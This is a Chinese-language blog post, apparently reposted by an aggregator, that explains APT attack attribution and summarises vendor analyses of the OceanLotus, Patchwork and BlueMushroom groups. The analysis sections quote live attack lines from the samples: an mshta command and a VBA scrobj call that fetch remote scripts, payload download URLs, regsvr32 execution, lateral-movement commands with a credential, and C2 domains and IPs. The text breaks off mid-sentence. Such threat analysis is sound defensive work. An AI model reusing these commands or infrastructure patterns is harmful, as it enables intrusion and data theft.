[系统安全] 三十六.APT系列APT攻击溯源防御与常见APT组织的攻击案例

Posted Eastmount

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[系统安全] 三十六.APT系列APT攻击溯源防御与常见APT组织的攻击案例相关的知识,希望对你有一定的参考价值。

您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

前文分享了Procmon软件基本用法及文件进程、注册表查看,这是一款微软推荐的系统监视工具,功能非常强大可用来检测恶意软件。这篇文章将分享APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施。希望文章对您有所帮助。基础性文章,希望对您有所帮助~

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!

作者的github资源:

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

前文分析:

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


一.什么是APT攻击

APT攻击(Advanced Persistent Threat,高级持续性威胁)是利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。APT攻击也称为定向威胁攻击,指某组织对特定对象展开的持续有效的攻击活动。这种攻击活动具有极强的隐蔽性和针对性,通常会运用受感染的各种介质、供应链和社会工程学等多种手段实施先进的、持久的且有效的威胁和攻击。

360威胁情报中心结合2018年全年国内外各个安全研究机构、安全厂商披露的重大APT攻击事件,以及近几年来披露的高级持续性威胁活动信息,并基于这些重大APT攻击事件的危害程度、攻击频度、攻击技术等,评选出2018年全球十大APT攻击事件。参考:https://www.secrss.com/articles/7530

  • 韩国平昌冬奥会APT攻击事件(攻击组织Hades)
  • VPNFilter:针对乌克兰IOT设备的恶意代码攻击事件(疑似APT28)
  • APT28针对欧洲、北美地区的一系列定向攻击事件
  • 蓝宝菇APT组织针对中国的一系列定向攻击事件
  • 海莲花APT组织针对我国和东南亚地区的定向攻击事件
  • 蔓灵花APT组织针对中国、巴基斯坦的一系列定向攻击事件
  • APT38针对全球范围金融机构的攻击事件
  • 疑似DarkHotel APT组织利用多个IE 0day“双杀”漏洞的定向攻击事件
  • 疑似APT33使用Shamoon V3针对中东地区能源企业的定向攻击事件
  • Slingshot:一个复杂的网络攻击活动


网络攻击追踪溯源旨在利用各种手段追踪网络攻击的发起者。相关技术提供了定位攻击源和攻击路径,针对性反制或抑制网络攻击,以及网络取证能力,其在网络安全领域具有非常重要的价值。当前,网络空间安全形势日益复杂,入侵者的攻击手段不断提升,其躲避追踪溯源的手段也日益先进,如匿名网络、网络跳板、暗网、网络隐蔽信道、隐写术等方法在网络攻击事件中大量使用,这些都给网络攻击行为的追踪溯源工作带来了巨大的技术挑战。

传统的恶意代码攻击溯源方法是通过单个组织的技术力量,获取局部的攻击相关信息,无法构建完整的攻击链条,一旦攻击链中断,往往会使得前期大量的溯源工作变得毫无价值。同时,面对可持续、高威胁、高复杂的大规模网络攻击,没有深入分析攻击组织之间的关系,缺乏利用深层次恶意代码的语义知识,后续学术界也提出了一些解决措施。

为了进一步震慑黑客组织与网络犯罪活动,目前学术界和产业界均展开了恶意代码溯源分析与研究工作。其基本思路是:

  • 同源分析: 利用恶意样本间的同源关系发现溯源痕迹,并根据它们出现的前后关系判定变体来源。恶意代码同源性分析,其目的是判断不同的恶意代码是否源自同一套恶意代码或是否由同一个作者、团队编写,其是否具有内在关联性、相似性。从溯源目标上来看,可分为恶意代码家族溯源及作者溯源。
  • 家族溯源: 家族变体是已有恶意代码在不断的对抗或功能进化中生成的新型恶意代码,针对变体的家族溯源是通过提取其特征数据及代码片段,分析它们与已知样本的同源关系,进而推测可疑恶意样本的家族。例如,Kinable等人提取恶意代码的系统调用图,采用图匹配的方式比较恶意代码的相似性,识别出同源样本,进行家族分类。
  • 作者溯源: 恶意代码作者溯源即通过分析和提取恶意代码的相关特征,定位出恶意代码作者特征,揭示出样本间的同源关系,进而溯源到已知的作者或组织。例如,Gostev等通过分析Stuxnet与Duqu所用的驱动文件在编译平台、时间、代码等方面的同源关系,实现了对它们作者的溯源。2015年,针对中国的某APT攻击采用了至少4种不同的程序形态、不同编码风格和不同攻击原理的木马程序,潜伏3年之久,最终360天眼利用多维度的“大数据”分析技术进行同源性分析,进而溯源到“海莲花”黑客组织。


这里推荐作者的前一篇基础文章 “[系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析”,这篇文章将从案例的角度进行更深入的讲解,也感谢所有参考的安全大厂和大佬,正是因为有他们,我们国家的网络安全才有保障!


二.常见APT组织的攻击案例

1.海莲花(APT32)

海莲花(OceanLotus)是一个据称越南背景的APT组织,又称APT32、OceanLotus。该组织最早于2015年5月被天眼实验室所揭露并命名,其攻击活动最早可追溯到2012年4月,攻击目标包括中国海事机构、海域建设部门、科研院所和航运企业,后扩展到几乎所有重要的组织机构,并持续活跃至今。实际上,根据各安全厂商机构对该组织活动的拼图式揭露,海莲花团伙除针对中国发起攻击之外,其攻击所涉及的国家分布非常广泛,包括越南周边国家,如柬埔寨、泰国、老挝等,甚至包括越南的异见人士、媒体、地产公司、外资企业和银行。


  • 海莲花组织常用攻击方法

    • 构造诱饵文件欺骗用户点击
    • 利用钓鱼邮件进行攻击,钓鱼关键字包括培训、绩效、监察等
    • 采用恶意文件投递的鱼叉攻击
    • CHM诱饵、白加黑诱饵、恶意Ink
    • 利用CVE漏洞(如CVE-2018-20250绑定压缩包)
    • 带有VBA宏病毒的Office文档
    • 专用木马(Denis家族、CobalStrike、Gh0st)
    • hta样本解密并加载后续的附加数据
    • C&C域名通信
  • 攻击手段

    • 鱼叉邮件投递内嵌恶意宏的Word文件、HTA文件、快捷方式文件、SFX自解压文件、捆绑后的文档图标的可执行文件等
    • 入侵成功后通过一些内网渗透工具扫描渗透内网并横向移动,入侵重要服务器,植入Denis家族木马进行持久化控制
    • 通过横向移动和渗透拿到域控或者重要的服务器权限,通过对这些重要机器的控制来设置水坑、利用第三方工具并辅助渗透
    • 横向移动过程中还会使用一些逃避杀软检测的技术:包括白利用技术、PowerShell混淆技术等


下面简单讲解奇安信安全中心和腾讯电脑管家的分析案例。

奇安信安全中心和腾讯电脑管家都是国内最著名的安全团队之一,近年来也多次曝光了海莲花组织的攻击活动。其研究发现,该组织自发现以来,一直针对我国的ZF部门、国企等目标进行攻击活动,为近年来对我国大陆进行网络攻击活动最频繁的APT组织。从攻击的手法上看,该组织主要采用电子邮件投递诱饵的方式,包括攻击诱饵文档、Payload加载、绕过安全检测等技术,一旦获得一台机器的控制权后,立即对整个内网进行扫描和平移渗透攻击等。

同时,该组织针对不同的机器下发不同的恶意模块,使得即便恶意文件被安全厂商捕捉到,也因为无相关机器特征而无法解密最终的Payload,无法知晓后续的相关活动。活动钻石模型如下:



(1) 诱饵文档初始攻击
恶意文件投递的方式依然是最常用的鱼叉攻击的方式,钓鱼关键字包括干部培训、绩效、工作方向等,相关的邮件如下。此外,投递钓鱼邮件的账号有网易邮箱,包括126邮箱和163邮箱,账号样式为:名字拼音+数字@163(126).com,如:Sun**@126.com、reny**@163.com等。

2019年投递的恶意诱饵类型众多,包括白加黑、lnk、doc文档、带有WinRARACE(CVE-2018-20250)漏洞的压缩包等,之后的攻击中还新增了伪装为word图标的可执行文件、chm文件等。

  • 白加黑诱饵: 病毒伪装成一个DLL文件,伪装为Word图标的可执行文件启动的同时,病毒DLL也会被加载启动(也叫DLL劫持)。使用DLL侧加载(DLL Side-Loading)技术来执行载荷,通俗的讲就是我们常说的白加黑执行。

  • 带有宏的恶意office文档

  • 恶意lnk

  • 带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包。作者之前分享过该CVE漏洞,当我们解压文件时,它会自动加载恶意程序至C盘自启动目录并运行。



(2) 恶意文件植入
恶意文件植入包括恶意lnk、使用rundll32加载恶意dll、带有宏的doc文档、白加黑、带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包等。

①恶意lnk分析
该组织会在所有投递的压缩包里存放一个恶意的lnk,但是所有的lnk文件都类似(执行的地址不同,但内容一致),lnk文件的图标伪装成word图标。值得注意的是,该lnk的图标会从网络获取,因此如果远程服务器已经关闭,会导致该lnk无图标的现象。此外,还会造成即便不双击lnk,只要打开lnk所在的目录,就会出现网络连接的现象。

该现象的原因是:Explorer解析lnk的时候会去解析图标,而这个lnk配置的图标在网络上,因此会自动去下载,但只是下载而不会执行,看一眼不运行lnk文件的话,会泄漏自身IP地址,但不会导致电脑中木马。

双击运行lnk后,会执行下列命令:

C:\\Windows\\SysWOW64\\mshta.exe http://api.baidu-json.com/feed/news.html

其中, news.html实际为一个vbs脚本文件。mstha执行此脚本后会解密脚本中存储的内容,并存储到%temp%目录下,包括tmp、exe、log、env文件。

接着调用系统自带的odbcconf.exe,将7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.tmp(dll文件)给加载起来。最后调用taskkill.exe,结束mshta.exe进程。


②带有宏的doc文档
带有宏的文档的投递是该组织比较常用的恶意诱饵,如推特上安全同仁曝光该组织的诱饵。

执行宏后,首先会复制原始文档到%temp%下,命名为随机名文件,然后解密出一个新的VBA宏。

接着将HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\12.0\\Word\\Security\\AccessVBOM的注册表值设置为1。

打开之前复制的doc文件,并将原始VBA宏擦除,把解密后的新VBA宏添加进去,接着启动VBA宏函数x_N0th1ngH3r3。x_N0th1ngH3r3函数同样解密出一段新VBA宏,同样调用新VBA宏的x_N0th1ngH3r3函数。

解密出来的新VBA宏目的是将shellcode解密并加载执行。

Shellcode解密出一个DLL文件,并在内存中加载,执行DllEntry函数。DllEntry函数先会提取资源文件,并解密出来。

解密出来的内容包括最终rat和相关配置信息。

随后会将解密的rat在内存中展开,并且查找CreateInstance函数地址,然后将配置信息传入调用该函数。

配置的4个C&C使用https进行通信连接,其他的技术细节同文章同之前御见发布的海莲花的分析文章。

  • cloud.360cn.info
  • dns.chinanews.network
  • aliexpresscn.net
  • chinaport.org

③白加黑
白加黑同样是该组织常用的诱饵类型,并且在实际攻击过程中,还多次使用。使用dll侧加载(DLL Side-Loading)技术来执行载荷,通俗的讲就是我们常说的白加黑执行。其基本流程如下图所示:


其中所使用的宿主文件对包括:

如攻击首先使用了word的主程序为白文件,加载恶意文件wwlib.dll。

释放诱饵文档到临时目录并打开。

然后再次使用白加黑的技术,使用360se的主程序做为白文件,加载恶意的chrome_elf.dll。

chrome_elf.dll功能除了实现调用原始默认程序打开txt、doc文件外,还会连接网络下载下一阶段的恶意文件并在内存中直接执行。

注意:在进行恶意样本分析时,我们不要去访问这些恶意网站,撰写报告也建议增加隔离字符防止被访问。下载地址为:[https:]//officewps.net/cosja.png,其他的恶意样本下载地址如:[https:]//dominikmagoffin.com/subi.png,[https:]//ristineho.com/direct.jpg等。

下载的木马是一个直接可当作代码执行的shellcode,下载后直接在内存中执行。

shellcode的功能是解压解密出一个功能自加载的PE文件。


该PE文件是CobaltStrike木马,和之前海莲花组织使用的该木马完全一样。


④带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包
该压缩包解压后,会解压出有模糊图片处理的doc文档。除了解压出压缩的文件后,还会在启动目录释放一个自解压文件:

C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\StartMenu\\Programs\\Startup

解压后会有一个{7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx文件,然后执行命令regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx执行。

该ocx的技术细节同前面宏文档的内存dll的部分分析,此处就不再赘述。


⑤通过com技术执行
通过com技术,把某恶意dll注册为系统组建来执行:


⑥Chm内嵌脚本
Chm执行后,会提示执行ActiveX代码。

其脚本内容为:



(3) 下发文件分析及定制化后门
在攻击者攻陷机器后,攻击者还会持续对受控机进行攻击:会通过脚本释放新的与该机器绑定木马,此木马主要通过两种加载器(定制后门)实现只能在该机器上运行,加载器也是使用白加黑技术,如使用googleupdate.exe+goopdate.dll,此外的名字还包括如:

  • KuGouUpdate.exe+goopdate.dll
  • AdobeUpdate.exe+goopdate.dll
  • Bounjour.exe+goopdate.dll

①加载器1分析
原理示意图如下:

木马执行后分配内存空间,拷贝shellcode到新申请的空间中执行,shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload。

接着对playload进行校验,成功后创建新线程执行playload。


②加载器2分析
原理图如下:

加载器2是在加载器1的基础上增加了一层随机密钥的加密,更好地对抗安全软件的检测扫描,且通过挂钩API函数然乱木马执行流程来干扰自动化沙箱的分析。

首先在dll入口点处hook LdrLoadDll函数,当调用该API时接管执行流程执行解密代码,通过内置的随机密码解密shellcode,shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload,并对playload进行校验,成功后创建新线程执行playload。

Shellcode行为同loader1解密出的shellcode一致。

最终的playload有三种,都是海莲花常用的木马,分别为CobaltStrike、Gh0st、Denis。

  • RAT1:CobaltStrike
  • RAT2:Gh0st改版
    该木马疑似使用开源木马gh0st改版,支持tcp和upd,数据包使用zlib压缩。
  • RAT3:Denis



(4) 提权和横向移动
此外,还发现海莲花还会不断的对被攻击的内网进行横向移动,以此来渗透到更多的机器。利用nbt.exe扫描内网网段,其可能通过收集凭据信息或暴力破解内网网络共享的用户和密码,如:

C:\\\\WINDOWS\\\\system32\\\\cmd.exe/C nbt.exe 192.168.1.105/24

通过net user等相关命令查看或访问内网主机,如:

net user\\\\192.168.1.83\\C#3 /U:192.168.1.183\\Administrator 123456
NTLM hash

此外,在上段所述的加密的前缀中,我们还发现了一个ip:210.72.156.203做为加密前缀,我们从腾讯安图查询可见。

可以发现,能关联到nbtscan-1.0.35.exe和mmc.exe,同样跟内网渗透相关。渗透到内网机器后,攻击者还发下发bat和js脚本,来执行后续的操作。脚本名字如encode.js、360se.txt、360PluginUpdater.js、360DeepScanner.js、360Tray.js等。

如360PluginUpdater.bat+360PluginUpdater.js,360PluginUpdater.bat的功能是输出加密脚本到360PluginUpdater.dat,完成后将其重命名为360PluginUpdater.js,并执行。

360PluginUpdater.js是个加密的脚本。

通过一系列解密后最终通过eval执行解密后的脚本。

经过base64解密及范序列化后得到两个对象loader和playload,并在内存中调用loader的LoadShell方法。

loader的pdb为:E:\\priv\\framework\\code\\tools\\exe2js\\loader\\obj\\Release\\loader.pdb,其功能是申请内存,解密加载执行playload:

payload PE头自带加载代码如下:

最终调用ReflectiveLoader实现内存加载dll。

最终为CobaltStrike攻击平台远控。


总结:海莲花组织是近年来针对我国的有关部门进行攻击的最活跃的APT组织之一,它总是在不断的进化,更新他的攻击手法和工具库,以达到绕过安全软件防御的目的。如不断的变换加载方式、混淆方法、多种多样的诱饵形式等,还使用新的Nday进行攻击,如该波攻击中的WinRAR ACE漏洞(CVE-2018-20250)。除了武器库的不断更新,该组织也相当熟悉中国的情况,包括政策、习惯等等,这也使得迷惑相关人员,是的攻击成功增加了成功率。除此,该组织的攻击范围也在不断的扩大,除了有关部门、海事机构、能源单位等外,研究机构所遭受的攻击也在不断的增多,而对个人的攻击,如教授、律师的钓鱼攻击也在不断的进行。因此我们提醒有关部门及有关机构的工作人员,切实提高国家安全意识,不要被网络钓鱼信息所蒙蔽,以免给国家安全造成重大损失。



2.摩诃草(APT-C-09)

APT-C-09是南亚印度背景的APT组织,又名摩诃草、白象、PatchWork、 hangOver、The Dropping Elephat、VICEROY TIGER。摩诃草组织主要针对中国、巴基斯坦等亚洲地区国家进行网络攻击活动,其中以窃取重要信息为主。相关攻击活动最早可以追溯到2009年11月,至今还非常活跃。在针对中国地区的攻击中,该组织主要针对ZF机构、科研教育领域进行攻击,其中以科研教育领域为主。摩诃草组织最早由Norman安全公司于2013年曝光,随后又有其他安全厂商持续追踪并披露该组织的最新活动,但该组织并未由于相关攻击行动曝光而停止对相关目标的攻击,相反从2015年开始更加活跃。


  • 摩诃草组织常用攻击方法

    • 主要以鱼叉邮件进行恶意代码的传播
    • 采用水坑方式进行攻击
    • 基于即时通讯工具和社交网络的恶意代码投递
    • 使用钓鱼网站进行社会工程学攻击
    • 投递带有恶意宏文件的xls文件
    • 钓鱼网站用以捕获信息
    • 使用带有诱饵文档通过点击下载托管于GitHub上的downloader样本
    • Windows、Mac、android系统均有针对性攻击
  • 分析原因

    • 远程控制木马包含CNC字段
    • 此次活动该组织的特征与之高度类似
    • 攻击手法类似

下面简单讲解Gcow安全团队的分析案例。

Gcow是当前国内为数不多的民间网络信息安全研究团队之一,其讨论氛围浓厚,研究范围广泛,令不少安全爱好者神往!Gcow安全团队追影小组于2019年11月底监测到了该组织一些针对我国医疗部门的活动。直至2020年2月初,摩诃草APT组织通过投递带有恶意宏文件的xls文件,以及使用带有诱饵文档通过点击下载托管于GitHub上的downloader样本,并应用于相应的钓鱼网站以获取QB等一系列活动。这对我国相关部门具有很大的危害,追影小组对其活动进行了跟踪与分析,写成报告供给各位看官更好的了解该组织的一些手法。



(1) 样本分析——诱饵文档“武汉旅行信息收集申请表.xlsm”
该诱饵文档托管于网址http://xxx.com/…B7%E8%A1%A8.xlsm,如下图所示,伪装成有关部门的文件。

这是一个含有宏的xlsm电子表格文件,利用社会工程学诱使目标“启用内容”来执行宏恶意代码。提取的宏代码如下:

当目标启用内容后就会执行Workbook_Open的恶意宏代码。

 DllInstall False, ByVal StrPtr(Sheet1.Range("X100").Value)

通过加载scrobj.dll,远程调用http://45.xxx.xxx.67/window.sct,这是利用Microsoft系统文件的LOLbin以绕过杀软的监测,达到远程执行代码。其中Sheet1.Range(“X100”).Value是小技巧,将Payload隐藏在Sheet1中,通过VBA获取下载地址,起到一定混淆保护的效果。


接着分析恶意sct文件(windows.sct)。
通过windows.sct下载到启动目录,并重名为Temp.exe,运行该程序如下图所示。

系统启动文件夹如下图:


最后是后门分析(msupdate.exe),文件信息如下。

其主要功能包括:

  • 自身拷贝到当前用户的AppData\\Roaming和C:\\Microsoft目录下,重命名msupdate.exe并创建写入uuid.txt,来标识不同用户。
  • 通过com组件创建计划任务,实现持久化控制。
  • 与服务器进行C&C通讯,实现了shell文件上传与下载(ftp),获取屏幕快照功能,达到完全控制目标。

获取uuid通知主机上线:

通过http协议与服务器进行通讯,并获取相关指令。反向Cmd Shell相关代码如下:

文件上传相关代码:

文件下载相关代码:

屏幕快照相关代码:



(2) 样本分析——诱饵文档“卫生部指令.docx”
该文档托管于http://xxx.com/h_879834932/…87%E4%BB%A4.docx网址,诱使目标点击提交按钮,触发Shell.Explorer.1从Internet Explorer下载并运行submit_details.exe木马程序。

其功能主要包括:

  • 建立计划任务
  • 收集目标机器名、IP等信息
  • 下载后门程序,通过Github白名单下载文件,绕过IDS检测
  • 获取Github上的文件下载路径,目前文件已被删除


总结:在这次活动中摩诃草组织为了增加其攻击活动的成功性,在诱饵文档中使用了某部门的名称和某部门的徽标以增加其可信性,同时在其托管载荷的网站上引用了nhc这个字符串。Gcow安全团队追影小组在此大胆推测,该组织使用鱼叉邮件的方式去投递含有恶意文档url的邮件。同时在这次活动中所出现的url上也存在“nhc”、“gxv”、“cxp”等字眼,这很大的反应出攻击者对中国元素的了解,社会工程学的使用灵活以及拥有一定的反侦查能力,这无疑是对我国网络安全的一次挑战,还请相关人士多多排查,培养员工安全意识也是重中之重的。



3.蓝宝菇(APT-C-12)

360公司在2018年7月5日首次对外公开了一个从2011年开始持续近8年针对我国行政机构、科研、金融、教育等重点单位和部门进行攻击的高级攻击组织蓝宝菇(APT-C-12),英文名BlueMushroom,该组织的活动在近年呈现非常活跃的状态。比如,通过向163邮箱发送鱼叉邮件,钓鱼邮件仿冒博鳌亚洲论坛向攻击对象发邀请函。攻击者通过诱导攻击对象打开鱼叉邮件云附件中的LNK文件,一旦攻击对象被诱导打开LNK快捷方式文件,会执行文件中附带的PowerShell恶意脚本来收集上传用户电脑中的重要文件,并安装持久化后门程序长期监控用。


  • 蓝宝菇组织常用攻击方法

    • 主要以鱼叉邮件攻击为主
    • 执行恶意PowerShell脚本收集信息
    • 云附件LNK文件
    • 安装持久化后门程序长期监控用户计算机
    • 使用AWS S3协议和云服务器通信来获取用户的重要资料
    • 投递带有恶意宏文件的xls文件
    • 压缩包解压后包含名为beoql.g的DLL后门
    • 横向移动恶意代码,C&C访问
  • 攻击手段

    • 鱼叉邮件投递内嵌PowerShell脚本的LNK文件,并利用邮件服务器的云附件方式进行投递
    • 当受害者被诱导点击恶意LNK文件后,会执行LNK文件所指向的PowerShell命令,进而提取出LNK文件中的其他诱导文件、持久化后门和PowerShell后门脚本
    • 从网络上接受新的PowerShell后门代码执行,从而躲避了一些杀软的查杀


下面简单讲解360安全团队的分析案例。

(1) 鱼叉邮件及诱饵文档
360威胁情报中心确认多个政企机构的外部通信邮箱被投递了一份发自boaostaff[@]163.com的鱼叉邮件,钓鱼邮件仿冒博鳌亚洲论坛向攻击对象发送了一封邀请函,如下图所示。

邮件附件被放到163的云附件里,此附件即为攻击者的恶意Payload,这是一个通过RAR打包的快捷方式样本。接下来我们对同一波攻击中的另一个完全相同功能的样本进行详细分析,以梳理整个攻击过程。附件内容如下:

一旦攻击对象被诱导打开该LNK快捷方式文件,LNK文件便会通过执行文件中附带的PowerShell恶意脚本来收集上传用户电脑中的重要文件,并安装持久化后门程序长期监控用户计算机。



(2) Dropper分析
附件压缩包内包含一个LNK文件,名字为《政法网络舆情》会员申请.lnk,查看LNK文件对应的目标如下:

可以看到目标中并没有任何可见字符,使用二进制分析工具查看LNK文件可以看到PowerShell相关的字符串,以及很多Unicode不可见字符。

通过分析LNK文件格式中几个比较重要的结构,完整还原出样本真实执行的恶意目标,其中涉及3个LNK文件格式的重要结构:LinkTargetIDList、COMMAND_LINE_ARGUMENTS和Environment Varable Data Block。

  • LinkTargetIDList: 该结构是一个数组,用于标记具体的快捷方式的链接目标,而样本中多个LIST里的元素拼接起来才是快捷方式的具体链接目标,通过调试可以看到目标路径和LinkTargetIDList拼接出来的结果一致。
    CLSID_MyComputer\\C:\\Windows\\system32\\windOW~1\\V1.0\\POwersHELl.exe

  • COMMAND_LINE_ARGUMENTS: 该选项为目标程序的参数。样本中的目标程序参数则为具体需要执行的PowerShell恶意代码,另外由于在参数中包含了大量的不可显示Unicode字符,从而导致右键打开快捷方式时目标中并不会包含对应的PowerShell代码。

  • EnvironmentVarableDataBlock: 当链接目标程序涉及到环境变量时会使用。该值设置后会导致具体的快捷方式中的目标被设置为对应的 Environment Varable Data Block值,但是需要注意的是,样本中Environment Varable Data Block对实际的程序调用并不起作用(删除并不影响最终的样本启动),最终Shell32.dll靠解析LInkTargetIDList数组来启动PowerShell。



(3) Payload和PowerShell脚本分析
将LNK文件指向执行的PowerShell脚本解密,该PowerShell命名为ps_origin,代码如下,PowerShell脚本会定位执行LNK文件的最后一行。

文件最后一行经过Base64编码,解码后的数据为[压缩包+PowerShell脚本]的形式。

将最后的PowerShell脚本解密后如下,名称为ps_start。

ps_start: 被解密后的LNK文件最后一行PowerShell脚本中的ps_start会被首先执行,该PowerShell脚本主要用于解压出后续的压缩包,并继续运行其中的脚本。同时压缩包包含了相应的文件窃取模块,如下图所示脚本通过[convert]::frombase64string((gc $a|select -l 2|select -f 1))); 以Base64解密出对应的压缩包文件,之后使用Rundll32加载其中beoql.g后门文件(加载函数为DllRegister),同时将一段PowerShell脚本作为参数传入,该PowerShell命名为ps_loader。

压缩包解压后包含名为beoql.g的DLL后门、合法的Rar.exe压缩工具、以及真实呈现给用户的诱导DOC文档。

脚本会尝试访问以下3个IP地址,以确保C&C存活:

  • 159.65.127.93
  • 139.59.238.1
  • 138.197.142.236

若确认C&C存活,则通过命令行收集系统的基本信息。

脚本获取基本信息后,再通过Rar.exe压缩为start.rar文件,之后使用RSA算法加密一个随机字符串e。最后脚本会遍历系统中指定的后缀文件(jpg, txt, eml, doc, xls, ppt, pdf, wps, wpp, 只获取180天以内的文件),继续使用Rar.exe压缩获取的指定文件,密码为之前生成的变量e。

函数pv9会将对应的RAR文件通过AWS S3 存储协议上传到一个网上的云服务商的地址:0123.nyc3.digitaloceanspaces.com,代码中包含的ACCESS_KEY和SECRET_KEY疑似亚马逊S3云服务存储协议所使用的相关KEY信息。

样本中使用该协议不过是添加一些跟服务端协商的请求头,请求头的value是用AWS s3 V4签名算法算出来的,通信流程由函数ul3和ig3完成,最终完成上传文件。ps_start中加载执行DLL后门后会从内置的三个IP地址中选择一个作为C&C,再次下载一段PowerShell,此处称之为ps_loader。

ps_loader: 首先生成用于请求的对应的us及Cookie字段,具体请求如下所示,可以看到返回的数据是一系列的十进制字符。

接着对返回数据进行简单的初始化后,通过函数sj8对数据进行解密,可以看到攻击者使用了whatthef**kareyoudoing这个极富外国色彩的调侃俚语作为秘钥。解码后的内容也是一段PowerShell,此处命名为ps_backdoor,ps_backdoor会调用其对应的函数ROAGC。

该脚本还支持CMD命令功能,除了Windows外,还支持Linux下的命令执行:



(4) 持久化分析
ps_start脚本会使用Rundll32.exe

以上是关于[系统安全] 三十六.APT系列APT攻击溯源防御与常见APT组织的攻击案例的主要内容,如果未能解决你的问题,请参考以下文章

[系统安全] 三十七.APT系列远控木马详解与防御及APT攻击中的远控

[系统安全] 四十二.APT系列基于溯源图的APT攻击检测安全顶会论文总结

[系统安全] 四十二.APT系列基于溯源图的APT攻击检测安全顶会论文总结

[系统安全] 三十八.APT系列恶意代码与APT攻击中的武器(Seak老师)

[论文阅读] (10)基于溯源图的APT攻击检测安全顶会总结

带你读顶会论文丨基于溯源图的APT攻击检测